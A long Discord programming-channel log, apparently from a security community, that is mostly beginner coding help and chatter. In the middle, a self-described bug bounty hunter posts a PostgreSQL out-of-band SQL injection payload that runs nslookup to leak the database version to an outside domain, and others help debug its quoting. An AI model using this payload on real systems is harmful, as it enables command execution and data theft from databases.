#programming

1 messages · Page 12 of 1

brazen eagle
#

That was also a joke

lilac holly
#

Fr

#

Testing is the most boring part of coding

#

"You should test your code to check it hasn't any problem" Ofc, tech bro

brazen eagle
#

What do I need to do to break this code?

lilac holly
#

Yeah

brazen eagle
#

And writing good tests is an art

magic falcon
#

The test should define what you want the code to achieve

surreal bronze
#
print(chr(sum(range(ord(min(str(not())))))))

hehe

fiery eagle
#

is there a legit way to bypass TrustedTypes
aside from reversing the createPolicy process
apart from finding out how the createPolicy process is made and trying to reverse it x inject it
is there a legit way ?
back in the trustedTypes github issues there were a lot of cases of bypass and I believe all of them if not most got all remediated

shut beacon
#

I have a problem i'm trying to solve in python and I'm doing something wrong and I was curious if I showed you the problem could someone help me out?

#

here's the problem:

#

You're a member of several secret societies. To get into a meeting you have to remember two passwords, but each of the secret organizations has a different set of passwords:

The Illuminati - "pickle" and "class"

The Lizard People - "elif" and "variable'

The Guild of Calamitous Intent - "function" and "block"

When you go to the secret location, the person at the door asks for the passwords one at a time. You can provide the two passwords in any order, but they both have to be for a specific secret society. For example:

Door: Please provide a password:

class
Door: Please provide another password:
pickle
Door: Welcome to The Illuminati! This week we're deciding which football team will win the Superbowl. Mwahahaha!

If you enter at least one of the passwords incorrectly, you won't be allowed in:

Door: Please provide a password:

java
Door: Please provide another password:
class
Door: This is just an inconspicuous local community theater group. Go away!

Create a program that asks the user for two passwords similar to the examples above. If they enter the correct passwords in any order, they should get a message welcoming them into the correct secret society. If they enter even just one incorrect password, they should be shooed away. Turn in a .py file with your code.

Hints:

You can get user input and store it in a variable.  You can do this for both passwords before you need to make the comparisons
There are multiple ways to check the password combinations
edgy meadow
#

Use the input() method and if statement, else or at least elif for two passwords you could use a while loop as well but keep it simple at first and try what you have learned before.

#

Or build a class for every object

shut beacon
#

is there way to give me an example?

edgy meadow
edgy meadow
#

Make three classes. Illums, lizards and the guild. Then you have to dive in OOP .

shut beacon
#

passWord1 = 'clam', 'pickle'
passWord2 = 'pickle', 'clam'

passWord1 = input("whats the password?")
passWord2 = input("what's the nest password?")

if passWord1 == passWord2:
print('yay')
else:
print("no")

#

i had it far better when i first started trying

#

then it started going down to crap

edgy meadow
#

First i see is the declaration of the variables. U cant use the same var name for the pwds and the inputs.

shut beacon
#

so i can't use pickle and clam in each variable

#

i was getting it going at first but the if or else statement would only work

#

i just need an example of like illuminati code and help me understand and i'll be able to do it

#

i feel like my head is splitting into

#

i just started programming last week

edgy meadow
# shut beacon so i can't use pickle and clam in each variable

You can assign several values to a variable in python, but this is not very practical for different properties. The problem here is the variable names. PassWord1 is used twice. This does not work with different values. Python rewinds the code from top to bottom. This means that passWord1 is overwritten with the next passWord1 variable.

shut beacon
#

crap

edgy meadow
#

That means you should go back to variable declaration topic and operators.

#

Followed by oop

shut beacon
#

passwords = "pickle" , "clam" then on next prompt type password1 = input ("enter password") then next line password2 = input ("enter second password"

#

then i need an argument of some kind or start with if statement

edgy meadow
#

Best advice i can give without providing the solution. Try it with one of them before you confuse yourself. Take the illums, write your code until it works and you'll get it for the other lizards and guilds ✌️

#

For the basics always keep it simple.

plucky helm
#

ChatGPT or similar would be really helpful here

edgy meadow
shut beacon
#

yeah, id use chatgpt but i feel like it would go overboard with the program. im needing a solution in order to know what i've been doing wrong. cause im freakin going nuts here. i've tried different ways but they were all wrong

edgy meadow
surreal bronze
#

@shut beacon Is this for a class assignment?

surreal bronze
magic falcon
#

one thing that will help you immensely as a new programmer is to map out the flowchart of what you want your program to do

#

draw it out so you can visualize and see the logic first

brazen eagle
#

isn't that just an activity diagram?

#

I haven't UMLed in ages

crystal ibex
#

Hi guys, is there somebody who can help me with a simple postgresql command syntax?

surreal bronze
#

just ask

crystal ibex
#

I would rather dm if possible

surreal bronze
#

Why?

#

You'll get much more help here

ebon schooner
#

just hit us with the problem and we'll do our bes tto help

crystal ibex
#

Okay then I am a bug bounty hunter and I found a OAST sqli. However I am unable to extract any information such as version or maybe current user to show the impact. My payload did not work on the website, so I setup a postgresql container to test my payload and I am countering a syntax error.

copy (SELECT version()) to program ''nslookup '||version()||'.<domain>''

#

the syntax error happens when performing concatenation

ebon schooner
#

probably your quote positions

#

combine " and ' instead of trying to use ' ' to enscapsulate two things

crystal ibex
#

I tried it and got a different error that I currently don’t remember what it was. But I modified the quotes and the payload so many times but still nothing

#

there is not much about postgre oast sqli on google

edgy meadow
ebon schooner
#

you could also use CONCAT() instead of the double pipe operator

#
Since version 9.1, PostgreSQL has introduced a built-in string function called CONCAT() to concatenate two or more strings into one.

Here’s the basic syntax of the CONCAT() function:

CONCAT(string1, string2, ...)
crystal ibex
#

Thanks, I will look into those

magic falcon
brazen eagle
magic falcon
brazen eagle
#

sorry, still trolling 0day with Certain Doom

fiery eagle
# shut beacon yeah, id use chatgpt but i feel like it would go overboard with the program. im ...
  1. you should exactly know what you're trying to do
  2. you should exactly know the correct syntax to deliver said result or know the exact algorithm to deliver said result ( in the case of the algorithm it's recursive<the way you write code, unrelated to the problem you might be facing>, you need to know how to translate it into material code, you need to write the correct syntax )
    if you don't know the correct syntax => you should know the pseudo-code
    knowing the correct pseudo code => you should look for the ways to translate pseudo code into practical code
    if lost check the documentation of your coding language in your case python,
    I don't know if freecodecamp has python, they must have python courses
    I recommend freecodecamp and maybe any alternative that can come as close in terms of documentation like the Mozilla documentation of certain web features
    in worst cases ww3school can be your way to go
fiery eagle
steady cloud
#

I'm using helmet.js

I decided to use the 'parent' helmet() middleware.

          noSniff: true,
          ieNoOpen: true,
          hidePoweredBy: true,

would that work just as the regular app.use(helmet.js)?

  app.use(helmet.ieNoOpen());
  app.use(helmet.hidePoweredBy());
nocturne wadi
steady cloud
wispy kestrelBOT
#

Gave +1 Rep to @nocturne wadi (current: #208 - 30)

nocturne wadi
chilly steeple
#

i am pretty new to this so sorry if its stupid..but i was just making a simple python script with solenium to open chrome and make a search and i noticed that after some seconds i get a notification on my terminal from Tensorflow..thing is i dont run any ai learning and i dont even have tensorflow on my pip list.is there a logical explanation as to why i get the msg about it running?also my chrome has no extensions if that matters at all

#

my only thought is that google just automatically stores information for an ai or something?idk.like even if it was some sort of malware shouldnt I have tensorflow on my piplist?

nocturne wadi
#

uninstall tensorflow

#

Check again after your next few reboots to make sure it isnt back

#

Unless someome else has better advice

chilly steeple
#

thing is..i dont have tensorflow...like it doesnt exist as far as i know

magic falcon
#

go through the stacktrace

#

it's possible that there's a buried dependency on it for some module you brought in

prisma oriole
#

The tc(test cases) on this would mainly depend on the words being in small and capital letters or playing a mix of it ...
Other than that we are good

#

Incase this assignment is still valid lemme know ...
Will help furthermore
And if you can post more of such questions ...
Helps us become better in programming

prisma oriole
#

I guess that's for him to decide whether he wants some further help or not...

#

Ok...

#

That's your perspective on this ...
But still thanks for sharing

wispy kestrelBOT
#

Gave +1 Rep to @low mantle (current: #2231 - 1)

fiery eagle
# prisma oriole 1.method would be with nested if to check for pwd and then prompt out the door i...

their main problem is an algorithmic problem and beyond that
0- they don't know how to resolve the problem in an abstract problem solving way
1- they randomly wrote some pseudo-code that doesn't appear to be solving the problem in question
2- they didn't take feedback or respond, meaning they might not be willing to improve or learn which defies the way they asked for a response ( maybe looking for a ready to go solution )
3- they lack fundamental basis of algorithmic understanding
4- they lack the basis of writing correct fundamental python

prisma oriole
#

I am kind of new to the server and to this community ...
I just saw someone ask for help and i did so 🤷😅

fiery eagle
#

me too I offered help before you came here

prisma oriole
#

But as you shared so many pointers will try to keep these in mind and guide them like this ...

prisma oriole
wispy kestrelBOT
#

Gave +1 Rep to @fiery eagle (current: #2231 - 1)

fiery eagle
wispy kestrelBOT
#

Gave +1 Rep to @prisma oriole (current: #2231 - 1)

fiery eagle
#

gifs don't work xD

plucky helm
#

You have to verify first

lyric mirage
#

You need to verify for embeds.

fiery eagle
#

what is the verification process like ?

tribal juncoBOT
lyric mirage
fiery eagle
#

omg jabba is involved if there's issues, this looks funner (more fun) than i expected

plucky helm
lyric mirage
#

Jabba is our bot maintainer and Community Manager.

fiery eagle
#

he's human which why I'm amazed

#

tryhackme certifications seems intriguing

fiery eagle
#

i'm a big fan of transparent gifs

#

i collect them

#

^_^

#

xD

#

it's supposed to be a high value mematic content$

#

xD

lyric mirage
#

Can we please keep the channel relevant to the name please.

fiery eagle
#

ah sorry

#

I'll check which one of my newbie accounts I can use for verification

fiery eagle
#

thankfully no money was spent ||guess money might cure them those issues ||
or was it ?

#

I'm the noobest yay

nocturne wadi
#

Joking

fiery eagle
#

xD

barren plank
#

learning Qt Creator with C++ what you think about a desktop application with this type of login?

#

wops sorry

stark summit
#

not bad

barren plank
#

evolved since yester day 😂

nocturne wadi
#

I cant find a good one for C++

barren plank
nocturne wadi
#

Oh you said that already lol

#

Thanks

barren plank
#

You style it with QSS so its pretyy much exactly like css but some different names and everything isnt there like background-size etc

nocturne wadi
#

Interesting

stark summit
#

interesting. pretty good tbh

mental tundra
#

hey guys, in python how do i fix "from" or "import" not recognized as internal or external command

hollow sorrel
#

Most likely the command line

#

You need to run a Python interpreter or add it to a Python script (a text file with your code in it)

mental tundra
#

i was running it in cmd

hollow sorrel
#

Google should help you here. Search up tutorials on how to setup your beginning Python environment 🙂

hollow sorrel
surreal bronze
#

Can you paste the command output here?

ebon schooner
old socket
#

i should take the time to watch a genuine, full ~15 hour course like this (not in 1 sitting ofcourse) and just write down what i dont understand or pause the video at a topic i dont understand and do some more research on it while it's paused

#

thanks for the video

heavy tangle
#

Hello is the a framework or tool to handle graphql in cpp ?

brazen eagle
tired hawk
#

Is it possible to build a discord bot using C/C++?

solar hull
#

Possible yes, but does it make any sense?

#

Personally I wouldn’t write anything subject to possibly malicious input in C or C++.

true pumice
#

🤔

#

I'm not sure that applies here, it's a Discord bot 😅

solar hull
#

Well it consumes discord message contents 🙂

#

And it doesn’t need to be intentionally harmful. Corrupt data might cause issues as well.

true pumice
#

Why specifically C though? Can't this happen in any language?

solar hull
#

Not all languages provide such direct unprotected memory access.

#

And depend on that.

tired hawk
solar hull
#

Tbh I wouldn’t write anything new in c or c++ but that’s me.

true pumice
solar hull
true pumice
#

I believe C has protected functions now? 😄

#

Obviously not 100% foolproof but neither is any language

solar hull
#

Well whatever. If you feel like spending extra effort on securing your c code, go for it 🙂

true pumice
#

I would trust a program someone has spent extra time to fortify over one that someone wrote really quickly 😁

solar hull
#

Ok.

tired hawk
#

I was just asking. I'm not going to build an actual bot using C.

true pumice
tired hawk
lyric mirage
nocturne wadi
#

By hand obviously

dusk turtle
tired hawk
#

So, why don't these companies use Rust? I mean it's a new language with C/C++ behavior but more secure as I know.

dusk turtle
# tired hawk So, why don't these companies use Rust? I mean it's a new language with C/C++ be...

because they have a working c/c++ codebase that is 15+ years old and everyone knows it inside and out. there is a very large amount of time it takes to get developers to be as proficient in one language as another. and it’s not comparable to swapping from, say, python to javascript. rust is a difficult language to learn and master. even more, there is a rich history of libraries built with c/c++ that just don’t have a rust equivalent

tulip sail
#

Technically python script

tired hawk
nocturne wadi
#

I mean a lot of stuff could easily be written in Python using pyinstaller

#

I believe it would need a lower level interface though which is probably less secure than just writing the whole thing in low level

calm pier
#

A lot stuff doesn't need to be written in Python tbf.

hollow sorrel
nocturne wadi
magic falcon
magic falcon
brazen eagle
magic falcon
brazen eagle
#

Well yes, but eliminating an entire class of memory bugs is a pretty good tradeoff imo

tulip sail
#

Mainframes are still king in finance (and commerce, iirc)

fiery eagle
#

would there be a case where a person would be obliged to write asm or masm ?
or is it far fetched from reality ?

calm pier
#

LoL

ebon schooner
#

would there be a case where I have to learn something? I'd prefer not to learn something

fiery eagle
# ebon schooner would there be a case where I have to learn something? I'd prefer not to learn s...

so you have learned everything ?
name everything of knowledge this universe has to offer, write it as a transfinite induction
or do you have infinite time to learn infinite things ?
think not

I wouldn't waste my time (monthsXyears) learning things I'm not gonna use
your statement seems like a smartless dumb statement, you have no fucking idea what learning is or what it means
how much time and energy it takes to learn

that is if you knew that: you wouldn't embarrass yourself with such an ignorant comment
Speaking of learning, now is the time to learn how to verify your account, guess someone still failed to learn that

brazen eagle
tranquil flame
gleaming acorn
#

python vs lua for writing tools what do we think

brazen eagle
#

Depends on the tool

hollow sorrel
#

Each language will have its pros and cons but for most exploit scripts I’ve written, Python has been more than enough. It has a large list of third-party libraries, active development, and its syntax is user friendly imo.

#

I haven’t used Lua for writing exploits except on a select few instances and even then they were mostly just reverse shells.

ebon cliff
ebon cliff
#

30sec for the first version. Maybe 10min with a few more variables.

drifting bobcat
#

Hi everyone, I want to learn java programming, can you please suggest some good books/youtube channels that I can use to learn java?

nocturne wadi
#

Codecademy is a good place to start imo

#

Most of what ive learned about C++ specifically has been codecademy then googling stuff while doing side projects

#

And the Oracle docs are a great place for research

fiery eagle
# brazen eagle Writing is probably rare unless you need to do some really weird stuff, reading ...

exactly
doing high level reverse didn't come across assembly
but for lower levels or high levels such as games when decompiling that's when you'll see asm
to be honest i might have noticed asm or something similar back when i was manipulating a cheating engine for an emulated game
although I don't remember vivdly seeing any asm expression
just game variables
modifying the variables can break the game as those same variables are directly related to coherent game loops
pretty sure game engines should be able to output things in asm since they're doing literal reverse
so far I never needed to write it for the sake of programming

#

( I only wrote the closest to asm in a certain course that was somehow obscure since they didn't teach the things you find online, I did my best but i never encountered the course material in internet, it was just local to a college course, which I doubted its legit, but apparently it was a very unique logic unrelated to asm, my biggest regret is that I couldn't understand it in its whole integrity back then, and it wasn't my fault because I couldn't retrieve the course physically, and using the internet I couldn't even decipher the course part i have acquired, I assumed the course was falsehood since the internet taught things differently,
I only realised the course was legit when reviewing with a fellow classmate who happened to have the full physical course and not only that he understood it all, the trick to this course isn't assembly, but the inside logic that only solves the course problems that you won't encounter in real life as far as i remember, that is only related to mips )
I believe in times of doing embedded stuff using hard memories/automata with very small storage and a physical small volume like things related to aviation for example
the aviation was something I was told by someone who knew exactly what their talking about
that is when people might be forced to write asm
because any higher level code might not work with non complex devices
unless by nano technology

in the internet didn't find anything specific or even interesting at all

I even heard that sometimes engines are left with asm output and those who engineer or manipulate those engines
use that output to determine their next move or current status
but this is really technical stuff, for when critical things happen, the engineers would automatically know what's going on

I really don't know if this is true or not, because outputs are expected to be high level outputs in most cases like when you're driving a car or for example inside a factory that has many engines

brazen eagle
#

Most embedded code for vehicles is written in C and must follow MISRA standards

#

Which basically says don't do anything stupid

#

Or particularly clever tbh

#

Though to be fair, clever code is not always good code

tranquil flame
#

My Prof has a saying that says don't write clever code because when it comes to debugging you need someone twice as clever to figure out what went wrong

limber ocean
brazen eagle
#

You start learning that clever code is bad usually about 2 years in. This is also generally preceded by you cursing past self for writing said clever code

tranquil flame
#

Especially when you're doing pointer magic and need to debug something down the line 😭

hollow sorrel
#

Did some beginner-level Python exercises on some platforms, the amount of solutions doing it all in one line is absurd. “Pythonic” they say

hollow sorrel
nocturne wadi
true pumice
#

Hey @vital hemlock please don’t share keyloggers here:)

vital hemlock
true pumice
#

Not with keyloggers or other malicious scripts, that is restricted to our advanced channels

vital hemlock
#

okay got it.

brazen eagle
hollow sorrel
nocturne wadi
brazen eagle
nocturne wadi
#

Does anyone have a good resource(s) for making secure programs(preferably in java)?

brazen eagle
#

OWASP does

brazen eagle
nocturne wadi
wispy kestrelBOT
#

Gave +1 Rep to @brazen eagle (current: #12 - 610)

brazen eagle
nocturne wadi
#

Nothing specific, im just learning java and wanted to look at some best practices

brazen eagle
#

ok

high sky
#

can you send your code?

#

Here, if possible. That way others can help if needed, and can see the resolution

#

can you show your burp request headers?

#

or just the whole request actually

#

If you're logged in to an account you care about in this session, please delete this ASAP and redact your cookie information

#

fair enough

#

when you send this post request in Burp, you get back a response that has set-cookie as a header?

#

can I ask what this is for? There may be an easier way to do this

#

Do you not have access to the account to set up the app registration?

#

What is your use case? You should be able to set this up with any account you already have access to

#

Sure, feel free to DM me

lyric mirage
#

This sure sounds suspicious.

modest basinBOT
#

:hammer: makonheiro#0 has been banned.

mental tundra
#

are there sites that hide their index.html file?
im trying to use the template of this site but i can't view the index after downloading with "sav all resources"

high sky
#

like send the link

#

or even just a screenshot of the files

royal briar
#

can i talk to someone about virus codes?

true pumice
tribal juncoBOT
stuck vine
true pumice
stuck vine
true pumice
wispy kestrelBOT
#

Gave +1 Rep to @true pumice (current: #6 - 1342)

zenith plover
#

Someone wanna talk about web app defense?

fierce cedar
tranquil flame
dusty ore
#

I saw many projects on github have a dedicated profile for it, like this one https://github.com/ScrapeGraphAI
I want to create a similar one as well, a profile where I can put most of my related repos into it. But to get this, do I have to create a new github account or sth?

hollow sorrel
#

Its an organization account

dusty ore
wispy kestrelBOT
#

Gave +1 Rep to @hollow sorrel (current: #20 - 425)

buoyant sandal
#

if input("hello I'm hoping to learn a programming language other than python") == "go learn javascript":
print("thank you I will go and learn that")
else:
print("oh I thought you were going to say learn javascript")

buoyant sandal
subtle gyro
#

Anyone know where to get started on learning kubernets?

#

or at least got a recomened path to learn?

upbeat frost
subtle gyro
nocturne wadi
signal rivet
#

how important is learning java

tranquil flame
#

It also closely ties in with OOP (I learned it through Java)

cursive anvil
#

oh wow. theres a k8s room here? i've been itchin to look into kubernetes

signal rivet
#

I’m guessing it would be important for like web pentesting

#

Never heard of kotlin before

#

I just started learning burp

#

Very interesting tool I must say

#

Main reason why I started is to use the proxy and bypass the redirect this stupid scam site uses so you can’t use a computer to analyze it

#

But first I must learn 👊

#

After the THM room what other resources do you recommend to learn further

tulip sail
#

Depends whether you're doing white box or grey/black box. A huge number of enterprise web apps are written in Java (unfortunately) so it's kinda essential for code reviews. Also worth understanding things like Java random number generation, even if grey / black box.

onyx merlin
#

@stray canyon Please don't advertise your discord here

brave fractal
#

Need help with saving/restoring states in my game using the pickle module. It creates the, it just doesn't read it I guess.

hollow sorrel
brave fractal
#

picture in top right shows save and load functions, picture on bottom right shows login logic

hollow sorrel
brave fractal
#

That's probably why it isn't working because I left it out 😂 thanks

#

I feel dumb

wispy kestrelBOT
#

Gave 1 Rep to mknukn (current: #19 - 432)

brave fractal
hollow sorrel
#

when you create a new python project, it should automatically download the python version as a virtual environment if it doesnt exist in the system

nocturne wadi
keen peak
#

I’ve got a question about a c program and execve(). On some VMs, running execve(file, NULL,NULL) will set argc to 0 and on some argc is still 1 (argv is null). What could be causing this.

tacit lynx
#

i think it might be OS dependent? (not so sure) like when you pass NULL as argv some os implementations might explicitly set argc to 0, while others default to argc=1 with a NULL argv

#

but i'm not an expert tho

keen peak
#

i got 0 on a ubunto WSL and i got 1 on a ubunto VM. Ive also read that the kernal does not care and will run regardless, i think it could be related to like coreutils package overriding it.

#

i see no difference in shells tho

keen peak
#

strace give execve("test", [], 0x555555558038 /* 0 vars */) = 0 on all machines. does that tell me anythign

tacit lynx
#

could it be different versions of glibc or how the runtime was compiled on WSL vs the VM?

tacit lynx
#

yeah that was mb homie

umbral arrow
#

How did u learn c?

tacit lynx
#

i took cs50x

#

and was forced to use it

umbral arrow
#

I feel like I should learn a language besides python and js

tacit lynx
#

then i realized it was kinda fun tho

#

and now i hate it again

tacit lynx
#

tbh

umbral arrow
#

Thx I gtg

tacit lynx
#

aight sure cya

tacit lynx
#

bro u have more dependencies than actuall code 💀

lyric mirage
#

@stoic condor please don't self promote.

stoic condor
stoic condor
surreal bronze
#

Here's a programming "riddle" for you all

#

l = []

for a, *l[-a:], c in [range(i) for i in range(3, 7)]:
    print(l)
#

What is the output of this? No cheating by running it!

#

Explain your answer, and use spoilers if possible)

pulsar meteor
#

||

l = [ ]   #empty list 

for a, *l[-a:], c in
# The loop will unpack each range object into variables:
a # takes the first element of the range

*l[-a:] # extends the list l by unpacking elements into the slice l[-a:]

c # takes the last element of the range

[range(i) for i in range(3, 7)] 
# creates a list of range objects for i from 3 to 6. The last number in python in a range is exclusive that’s why 7 is not in the following range:
range(3) -> [0, 1, 2]
range(4) -> [0, 1, 2, 3]
range(5) -> [0, 1, 2, 3, 4]
range(6) -> [0, 1, 2, 3, 4, 5]

Will the code be executed?
I think not because the *l[-a:] is not executable in Python. Not sure about the right wording. You can't directly use * to extend a list slice like this inside a for loop. This part of the code would create a error because you can't assign to a slice in this context like l[-a:]

||

So ||nothing|| will be printed just ||the error in the console ||

If im right 😂 that took me some time on the phone notes 😂

surreal bronze
# pulsar meteor || ``` l = [ ] #empty list for a, *l[-a:], c in # The loop will unpack each ...

||Not quite. So *l[-a:] in this case is a valid assignment of l. The code does run.

a, b, c = range(3)
# is valid, now say you didn't know how many numbers were on the right-hand side. here's where the * operator comes in
a, b*, c = range(10)
# The first element goes to a, the final element goes to c and because of the * operator, the rest go to b which becomes a list
# kind of like using it in a function with **args and **kwargs (see so post at the end) 

# Now for the lists, say we have l as
l = [1,2,3]
# we can replace single elements like so
l[1] = 0 
# l -> [1,0,3]
# but we can also replace *multiple elements* using a slicing reference
l[:-1] = [0,1]
# l -> [0, 1, 3]
# note how the slice operator in this case gets *all elements before the final one* and replaces it
# ...but what if the size of the list we are modifying is smaller than our right-hand assigment, such as
l[:-1] = [0,1,2,4] 
# l[:-1] only gets 2 elements, and we're trying to assign 4! what happens?
# l -> [0, 1, 2, 4, 3]
# It won't error, but just put force all the elements in. If the slice refers to all elements to the *start* of the list (like in our example), then it'll force it to the start. And vice-versa.

# combining the behaviour of the * and list assigment, if we take this example:
l = [1, 2]
a, *l[:-a], c = (1,2,3,4)
# a becomes 1, c becomes 4
# *l[:-a] therfore becomes *l[:-1] 
# last element in l is 2 and the slice refers to everything *before*, therefore 1st element will be replaced and the rest of the elements inserted to the start

# the rest of the elements in the list to be assigned are (2,3) therefore l will be come
# l -> [2, 3, 2] 
# note how the final 2 is untouched from the oringinal list

Now with that in mind, note how the whole expression a, *l[-a:], c is a valid assignment, therefore valid in the context of a for loop.

https://stackoverflow.com/questions/509211/how-slicing-in-python-works
https://stackoverflow.com/questions/35636785/star-operator-on-left-vs-right-side-of-an-assignment-statement
||

pulsar meteor
#

||
So we would get an error if the iterable doesn’t contain enough items to assign to all the mandatory expressions. Here for example if we would have :

[range(i) for i in range(2, 7)]

range(2) -> [0, 1]
#should result in an error?

||

surreal bronze
pulsar meteor
surreal bronze
wheat mica
#

Any c programming resources other than learn c org , code for win and cs50

bitter plaza
#

i'm looking for a bash scripting resource that goes from classic hello world examples to advanced programming of command line tools, with some command line GUI aspects involved.
something in the style of the old 2010s programming books, but for bash, preferably 5.1+

I'm building out a current tool I've created into something larger and more versatile, but want to do a bulk by hand myself instead of asking gpt a billion questions and double checking everything.

or if there are tools to create tools, that's cool too.

delicate pewter
#

you can also checkout this book "Classic Shell Scripting"

bitter plaza
#

the book is from 2005. I could google it, but feel it would miss the nuance; is the largely still applicable? there haven't been drastic changes to the language that will make this incorrect or at least not as useful?

delicate pewter
stark summit
versed ginkgo
#

I need to do some file reading in a project of mine. This is how I am checking for path traversal:

from argparse import ArgumentParser
from pathlib import Path

DOCUMENT_ROOT = Path("/home/username")

def validate_requested_file_path(requested_path: Path):
    """
        Only allow files in the subdirectories of `DOCUMENT_ROOT`.
        (is this check secure enough or is it possible to bypass?)
    """

    return DOCUMENT_ROOT.resolve() in requested_path.resolve().parents

parser = ArgumentParser()

parser.add_argument("filename")
args = parser.parse_args()


try:
    filename = Path(args.filename)
    assert validate_requested_file_path(filename), "No path traversal! >:("
    with open(filename) as f:
        print(f.read())

except Exception as e:
    print(f"Error: {e}")

I tested this check works with some symlinks and relative paths and it seems to be working fine and preventing those, but maybe I missed something. If anyone can think of a way to bypass this lmk

surreal bronze
#

Not on my PC right now

versed ginkgo
# surreal bronze Does `/opt/home/username/xyz` work?

Seems like it caught it:

~$ sudo touch /opt/home/username/test.txt
~$ ls -l /opt/home/username/test.txt
-rw-r--r-- 1 root root 0 Nov 23 13:37 /opt/home/username/test.txt
~$ python3 main.py /opt/home/username/test.txt
[PosixPath('/opt/home/username'), PosixPath('/opt/home'), PosixPath('/opt'), PosixPath('/')]
Error: No path traversal! >:(

I added a print statement for requested_path.resolve().parents in there. You can see that the parents don't include PosixPath('/home/username') so it should be fine:

def validate_requested_file_path(requested_path: Path):
    print(list(requested_path.resolve().parents))
    return DOCUMENT_ROOT.resolve() in requested_path.resolve().parents
#

If by /opt/home/username/xyz you meant making it a relative path inside xyz like /opt/home/username/../../../etc/passwd then I am pretty certain that it won't work either because the resolve() function is converting the path to an absolutely path, including resolving symlinks etc. so it should be aight.
Thank you for responding

true pumice
#

Hey, please make sure you're asking administrators before recruiting testers here.

spice canyon
#

Im sorry for that

lyric mirage
#

@exotic holly
Linear search

def linear_search(arr, target):
    for i in range(len(arr)):
        if arr[i] == target:
            return i  # Return the index where the target is found
    return -1  # Target not found

# Example Usage
unsorted_list = [11, 3, 7, 9, 5, 1]
target = 7
result = linear_search(unsorted_list, target)
if result != -1:
    print(f"Target {target} found at index {result}")
else:
    print("Target not found")

Binary search

def binary_search(arr, target):
    low, high = 0, len(arr) - 1

    while low <= high:
        mid = (low + high) // 2  # Find the middle index
        if arr[mid] == target:
            return mid  # Target found
        elif arr[mid] < target:
            low = mid + 1  # Search the right half
        else:
            high = mid - 1  # Search the left half

    return -1  # Target not found

# Example Usage
sorted_list = [1, 3, 5, 7, 9, 11]
target = 7
result = binary_search(sorted_list, target)
if result != -1:
    print(f"Target {target} found at index {result}")
else:
    print("Target not found")
#

Two simple codes for you to work and compare with courtasy of AI.

magic falcon
surreal bronze
magic falcon
# surreal bronze Shouldn't matter, it's returning the index not the value

That's true, but this is obiously python.... why would you use a length-base for loop instead of a more pythonic list comprehension? For learning programming, I think an argument can be made in favor of the for loop. As actual python code, I would consider it sub standard and not in line with best practices for this specific language.

lyric mirage
#

It was really just an example for a reason to learn algorithms.

surreal bronze
visual galleon
#

goys how can i start programming

upbeat frost
visual galleon
#

software developer ,web developer, computer programmer

upbeat frost
visual galleon
#

software developer

upbeat frost
visual galleon
upbeat frost
visual galleon
#

so, i can write by any language in it?

upbeat frost
visual galleon
#

between js and python, which one is the best?

upbeat frost
visual galleon
upbeat frost
brisk beacon
#

anY ruby devs here ?

tribal ice
#

Hello everybody, how can I fix that? I try import and pip install but it doesn't work

#

@upbeat frost help me pls

hollow sorrel
tacit lynx
# visual galleon between js and python, which one is the best?

depends on your use case, js is most commonly used in front-end part of websites (it's not limited to it tho, you can use js everywhere). python is all rounder, you can use it anywhere you want. it's worth mentioning that python and js are interpreted languages which means they will not perform good in apps that require performance

#

you cannot go with any of them thb

#

tbh

#

just pick one

tribal ice
visual galleon
#

can i use python in vs code or it needs something else???

visual galleon
#

so i have to enable it or ?????

tacit lynx
#

and you will be all set

drowsy pelican
lilac holly
#

you can even just use the terminal with powershell, cd to your code's directory then run python3 (or whatever) SCRIPTNAME.py , and it will run the python file like normal in that terminal. Alternatively I think you can just enable the python interpreter within that terminal

wispy kestrelBOT
#

Gave +1 Rep to @shy rover (current: #1592 - 2)

shrewd dome
#

I am new to programming and would like to learn C++

rough pebble
#

hello, I'm back after a few months. Ummm how do I use python/vs code again?

hollow sorrel
rough pebble
stark summit
rough pebble
wispy kestrelBOT
#

Gave +1 Rep to @upbeat frost (current: #10 - 792)

rough pebble
rough pebble
#

don't tell me exactly where I'm wrong just tell me less or so hints about what I'm doing wrong

#

Ik the if input () is wrong

rough pebble
#

yea, almost our anv

rough pebble
#

tell me, how can I fix it

gusty umbra
rough pebble
#

don't tell me what to do to fix it

#

just hints

gusty umbra
#

1 sec

rough pebble
#

alr

gusty umbra
#

flowchart is the correct name

gusty umbra
rough pebble
gusty umbra
#

Helps to define the logic of the program before writing it yk. I'm a "rookie" programmer too, can't even call myself programmer since i'm still learning.

So don't take any advice i give as an absolute truth

rough pebble
#

alright, helps to know I'm not the only one as a rookie

gusty umbra
#

Everyone was a rookie at some point in their life

rough pebble
#

true

#

so after Imput (" ")

#

do I put

#

if imput not

#

heres where I'm lost

gusty umbra
#

I can help you with the syntax if you need. But it helps A LOT to write down the logic before the code itself

#

as exemplified in the flowchart

rough pebble
#

alright, this time I will ask, how do I write it?

gusty umbra
#

pen and paper will do

rough pebble
#

alr, done

gusty umbra
#

there's websites that does this as well 1 sec

rough pebble
#

kk

gusty umbra
#

For now you can leave only the print statements like:

print("""
YOUR 
MESSAGE HERE
:)
""")
rough pebble
#

alright

gusty umbra
#

I used this one before

rough pebble
#

hmm?

gusty umbra
#

The website for making flowcharts

rough pebble
#

how?

gusty umbra
#

Forget it, let's just focus on the script.

Start with the imports you going to use, then you print the message

import time
import random

print("""
Hello there ...
""")
rough pebble
#

ok

#

and what does random do?

gusty umbra
#

I know you're learning, but let me ask you, you know basic programming concepts ? Loops, conditions, etc ?? Not the advanced stuff, just basic

gusty umbra
rough pebble
#

alright

gusty umbra
#

I'll explain everything, you're the one that's gonna make the code though, like you said, HINTS ONLY haha

rough pebble
#

Yea

gusty umbra
#

We can set the score system later. Let's focus on the main functionality for now

rough pebble
#

ok

gusty umbra
#

You need to:

1 - Define a random number in a range. Example: 1 to 100. Use the random module for this

2 - Define max tries for the game (like 5 or 10 or whatever you want)

3 - Create a loop and make an exit condition for the loop (win the game)

rough pebble
#

alright

#

ok so

rough pebble
#

I got in trouble a few months ago for not using it

gusty umbra
rough pebble
#

alr

#

thank u

gusty umbra
rough pebble
#

that's a lot of reading lol

#

hold up

gusty umbra
#

I'll make it easy for you: Search for "random integer"

it's on the very first page, makes sense since it's probably one of the most used functionalities

rough pebble
#

alr

#

Return a random integer N such that a <= N <= b. Alias for randrange(a, b+1).

gusty umbra
#

Yes. where a and b are the ranges

rough pebble
#

right

#

it showed me a code

gusty umbra
#

It's the ` character

rough pebble
#

oh

gusty umbra
#

you can send a screenshot too

rough pebble
#
Choose one at random
python -m random egg bacon sausage spam "Lobster Thermidor aux crevettes with a Mornay sauce"
Lobster Thermidor aux crevettes with a Mornay sauce

# Random integer
